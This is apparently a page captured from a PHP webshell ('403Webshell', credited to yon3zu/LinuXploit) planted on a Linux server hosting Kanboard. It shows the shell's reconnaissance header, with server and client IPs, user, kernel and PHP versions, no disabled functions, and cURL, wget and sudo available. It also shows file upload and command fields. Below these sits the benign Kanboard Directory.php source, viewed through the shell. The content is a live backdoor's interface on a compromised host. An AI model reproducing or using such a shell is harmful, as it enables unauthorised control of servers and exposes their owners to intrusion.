403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/kanboard/app/Core/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/kanboard/app/Core/Plugin/Directory.php
<?php

namespace Kanboard\Core\Plugin;

use Kanboard\Core\Base as BaseCore;

/**
 * Class Directory
 *
 * @package Kanboard\Core\Plugin
 * @author  Frederic Guillot
 */
class Directory extends BaseCore
{
    /**
     * Get all plugins available
     *
     * @access public
     * @param  string $url
     * @return array
     */
    public function getAvailablePlugins($url = PLUGIN_API_URL)
    {
        $plugins = $this->httpClient->getJson($url);
        $plugins = array_filter($plugins, array($this, 'isCompatible'));
        $plugins = array_filter($plugins, array($this, 'isInstallable'));
        return $plugins;
    }

    /**
     * Filter plugins
     *
     * @param array  $plugin
     * @param string $appVersion
     * @return bool
     */
    public function isCompatible(array $plugin, $appVersion = APP_VERSION)
    {
        return Version::isCompatible($plugin['compatible_version'], $appVersion);
    }

    /**
     * Filter plugins
     *
     * @param array  $plugin
     * @return bool
     */
    public function isInstallable(array $plugin)
    {
        return $plugin['remote_install'];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit